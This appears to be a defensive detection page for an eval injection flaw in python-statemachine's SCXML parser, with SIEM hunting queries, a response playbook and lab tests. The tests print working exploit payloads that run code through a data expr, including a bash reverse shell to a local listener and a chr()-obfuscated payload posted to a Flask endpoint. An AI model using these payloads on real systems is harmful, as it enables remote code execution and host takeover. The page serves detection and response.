CVE-2026-47103

python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103)

CVE-2026-47103 is a critical eval injection vulnerability (CWE-95) in python-statemachine versions >= 3.0.0 and < 3.2.0. When processing SCXML documents, the library evaluates expressions in <data expr=...> elements using Python's eval(), allowing an attacker who can supply or influence SCXML input to execute arbitrary Python code in the context of the application process. A public PoC is available and exploitation requires no authentication when SCXML is parsed from user-controlled input. CVSS score 9.8.

Vulnerability Intelligence

Public PoC

What is CVE-2026-47103 python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103)?

python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103) (CVE-2026-47103) maps to the Execution and Persistence and Privilege Escalation tactics — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel, Azure Monitor. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution Persistence Privilege Escalation
Microsoft Sentinel / Defender
kusto
let vulnerable_import = dynamic(['statemachine', 'python_statemachine', 'StateMachine']);
DeviceProcessEvents
| where FileName in~ ('python.exe', 'python3', 'python3.exe', 'uvicorn', 'gunicorn', 'uwsgi', 'flask', 'fastapi')
    or InitiatingProcessFileName in~ ('python.exe', 'python3', 'python3.exe')
| where ProcessCommandLine has_any ('statemachine', 'scxml', '.scxml')
    or ProcessCommandLine matches regex @'(?i)(eval|exec).*scxml'
| union (
    DeviceFileEvents
    | where FileName endswith '.scxml'
    | where ActionType in ('FileCreated', 'FileModified')
)
| union (
    DeviceNetworkEvents
    | where InitiatingProcessFileName in~ ('python.exe', 'python3', 'python3.exe')
    | where RemotePort !in (80, 443, 8080, 8443)
    | where InitiatingProcessCommandLine has_any ('statemachine', 'scxml')
)
| extend RiskScore = case(
    ProcessCommandLine matches regex @'(?i)(subprocess|os\.system|__import__|exec|eval|base64)', 90,
    ProcessCommandLine has '.scxml', 60,
    40
)
| where RiskScore >= 40
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, RemoteIP, RemotePort, RiskScore
| sort by RiskScore desc, TimeGenerated desc

Detects execution patterns consistent with exploitation of CVE-2026-47103: Python processes loading statemachine libraries, creation or modification of SCXML files, suspicious eval/exec patterns in Python command lines, and unexpected outbound network from statemachine-associated Python processes.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel Azure Monitor

Required Tables

DeviceProcessEvents DeviceFileEvents DeviceNetworkEvents

False Positives

  • Legitimate applications using python-statemachine with developer-supplied SCXML files for workflow automation
  • CI/CD pipelines running python-statemachine unit tests with SCXML fixtures
  • Data science environments where multiple Python subprocesses are spawned as normal workflow
  • Application health-check scripts that spawn Python processes regularly

Sigma rule & cross-platform mapping

The detection logic for python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103) (CVE-2026-47103) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic SCXML eval injection via python-statemachine

    Expected signal: Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version

  2. Test 2SCXML eval injection with reverse shell payload

    Expected signal: Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree

  3. Test 3SCXML eval injection via web API endpoint (simulated)

    Expected signal: Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation


Response Playbook

Triage

  1. Identify all hosts running Python applications that import python-statemachine (pip show python-statemachine or pip3 show python-statemachine) and confirm version is in the vulnerable range >= 3.0.0 and < 3.2.0.
  2. Determine whether any SCXML input sources (file paths, API endpoints, message queues) accept user-controlled or externally sourced content that could include malicious <data expr=...> elements.
  3. Review application logs and process execution logs for the triggering host for any anomalous subprocess spawns, unexpected outbound connections, or file writes by the Python process since the SCXML parsing occurred.
  4. Check whether a public-facing endpoint directly or indirectly passes user input to python-statemachine's SCXML parser without sanitization or allowlisting of expression values.

Containment

  1. Immediately upgrade python-statemachine to version 3.2.0 or later on all affected hosts; if upgrade is not immediately possible, block or disable any endpoints that accept SCXML input from untrusted sources until patched.
  2. Isolate any host where suspicious subprocess execution or outbound C2-like network connections are detected in correlation with statemachine/SCXML activity to prevent lateral movement or data exfiltration.

Evidence Collection

  1. Capture a memory dump of the affected Python process (if still running) and preserve the full SCXML document(s) that were parsed, including any <data expr=...> elements, for forensic analysis.
  2. Collect all relevant application logs, Python process command-line history, bash/shell history, and network flow logs from the affected host covering the window of the alert for timeline reconstruction.

Escalation Criteria

  • ! Escalate immediately if forensic evidence shows arbitrary command execution occurred (e.g., new user accounts created, reverse shell established, files exfiltrated, or lateral movement to other hosts).
  • ! Escalate if the vulnerable application is internet-facing and log evidence suggests the vulnerability was triggered from an external IP address, indicating active exploitation by a threat actor.

Investigation Guide

Forensic Artifacts

  • > Installed package version of python-statemachine: pip show python-statemachine or check site-packages/python_statemachine-*.dist-info/METADATA
  • > SCXML files present on disk or passed via API: look for files with .scxml extension containing <data expr=...> elements with Python expressions
  • > Python process memory or core dump revealing eval() call stack frames from statemachine.scxml module
  • > Shell history and cron jobs created or modified by the Python process user account post-exploitation
  • > Outbound network connections initiated by the Python process to unexpected external hosts

Tuning Guidance

Reduce false positives by building an allowlist of known-good Python application paths and parent processes that legitimately use python-statemachine. Exclude developer workstations from high-severity alerting and tune the risk scoring thresholds based on your environment's baseline. If python-statemachine is not used in your environment at all, any match should be treated as critical. For environments where it is used, focus on the co-occurrence of statemachine references with dangerous eval/exec patterns or unexpected network connections as the highest-fidelity signal.


Hunting Queries

Hunt for hosts with high-frequency python-statemachine/SCXML invocations that may indicate automated exploitation or scanning, useful for identifying beachhead hosts or compromised CI/CD runners

Hunting — KQL
kql
DeviceProcessEvents
| where FileName in~ ('python.exe', 'python3', 'python3.exe')
| where ProcessCommandLine has_any ('statemachine', 'scxml')
| summarize count(), make_set(ProcessCommandLine), make_set(AccountName) by DeviceName, bin(TimeGenerated, 1h)
| where count_ > 5
| sort by count_ desc
Hunting — SPL
spl
index=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_secure")
| eval cmd=coalesce(CommandLine, command)
| where match(cmd, "(?i)(statemachine|scxml)")
| bin _time span=1h
| stats count values(cmd) as cmds by host _time
| where count > 5
| sort -count

Hunt for unexpected SCXML file creation or modification by non-IDE processes, which may indicate an attacker writing malicious SCXML payloads or an exploited service writing files to disk post-compromise

Hunting — KQL
kql
DeviceFileEvents
| where FileName endswith '.scxml'
| where ActionType in ('FileCreated', 'FileModified', 'FileRenamed')
| where InitiatingProcessFileName !in~ ('code.exe', 'idea64.exe', 'pycharm64.exe', 'vim', 'nano', 'emacs')
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11 TargetFilename="*.scxml"
| eval parent=coalesce(Image, process)
| where NOT match(parent, "(?i)(code|pycharm|idea|vim|nano|emacs)")
| table _time host TargetFilename parent CommandLine
| sort -_time

Atomic Red Team Tests

Test 1 Basic SCXML eval injection via python-statemachine
linux

Demonstrates CVE-2026-47103 by loading a crafted SCXML document with a <data expr=...> element containing a Python expression that writes a file to disk, confirming arbitrary code execution via eval().

Command

bash
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile, os
from statemachine import StateMachine, State
from statemachine.contrib.diagram import DotGraphMachine

scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
  <datamodel>
    <data id=\"pwn\" expr=\"__import__('os').system('touch /tmp/cve_2026_47103_pwned')\"/>
  </datamodel>
  <state id=\"s1\"/>
</scxml>'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
    f.write(scxml_payload)
    scxml_path = f.name

from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
print('Check /tmp/cve_2026_47103_pwned for successful exploitation')
"

Cleanup

bash
rm -f /tmp/cve_2026_47103_pwned && pip uninstall -y python-statemachine

Expected Telemetry

Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version

Expected Detection

kql, spl, elastic_eql, and crowdstrike_cql rules should fire on the python3 process command line containing 'statemachine' combined with '__import__' or 'os.system' patterns

Test 2 SCXML eval injection with reverse shell payload
linux

Demonstrates CVE-2026-47103 with a more realistic attack payload: a <data expr=...> element that spawns a reverse shell subprocess, simulating an attacker gaining interactive access via a vulnerable web application.

Command

bash
# LAB ONLY - set up netcat listener first: nc -lvnp 4444
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile

scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
  <datamodel>
    <data id=\"shell\" expr=\"__import__('subprocess').Popen(['/bin/bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])\"/>
  </datamodel>
  <state id=\"s1\"/>
</scxml>'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
    f.write(scxml_payload)
    scxml_path = f.name

from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
"

Cleanup

bash
pip uninstall -y python-statemachine && pkill -f 'bash -i'

Expected Telemetry

Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree

Expected Detection

Network connection events correlated with statemachine parent process should trigger kql and elastic_eql sequence rules; crowdstrike_cql subprocess pattern should match; chronicle_yaral subprocess regex fires

Test 3 SCXML eval injection via web API endpoint (simulated)
linux

Simulates a realistic attack path where an attacker submits a malicious SCXML document to a Flask API endpoint that passes the content directly to python-statemachine's SCXML parser, triggering eval injection.

Command

bash
pip install 'python-statemachine>=3.0.0,<3.2.0' flask && python3 -c "
from flask import Flask, request
from statemachine.io.scxml import SCXMLParser
import tempfile, os, threading, time

app = Flask(__name__)

@app.route('/upload-scxml', methods=['POST'])
def upload():
    scxml_content = request.data.decode()
    with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
        f.write(scxml_content)
        path = f.name
    parser = SCXMLParser()
    parser.parse(path)
    os.unlink(path)
    return 'OK'

def send_payload():
    time.sleep(2)
    import urllib.request
    payload = b'''<?xml version=\"1.0\"?><scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\"><datamodel><data id=\"x\" expr=\"__import__(chr(111)+chr(115)).system(chr(116)+chr(111)+chr(117)+chr(99)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(97)+chr(112)+chr(105)+chr(95)+chr(112)+chr(119)+chr(110)+chr(101)+chr(100))\"/></datamodel><state id=\"s1\"/></scxml>'''
    req = urllib.request.Request('http://127.0.0.1:5001/upload-scxml', data=payload, method='POST')
    urllib.request.urlopen(req)
    print('Payload delivered. Check /tmp/api_pwned')

t = threading.Thread(target=send_payload)
t.start()
app.run(port=5001)
"

Cleanup

bash
rm -f /tmp/api_pwned && pip uninstall -y python-statemachine flask

Expected Telemetry

Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation

Expected Detection

Web server process logs showing SCXML content received; file creation alert for /tmp/api_pwned; elastic_eql sequence rule correlating python3 process with subsequent file event; sumo_logic rule may detect chr() obfuscation pattern in application logs

Related Detections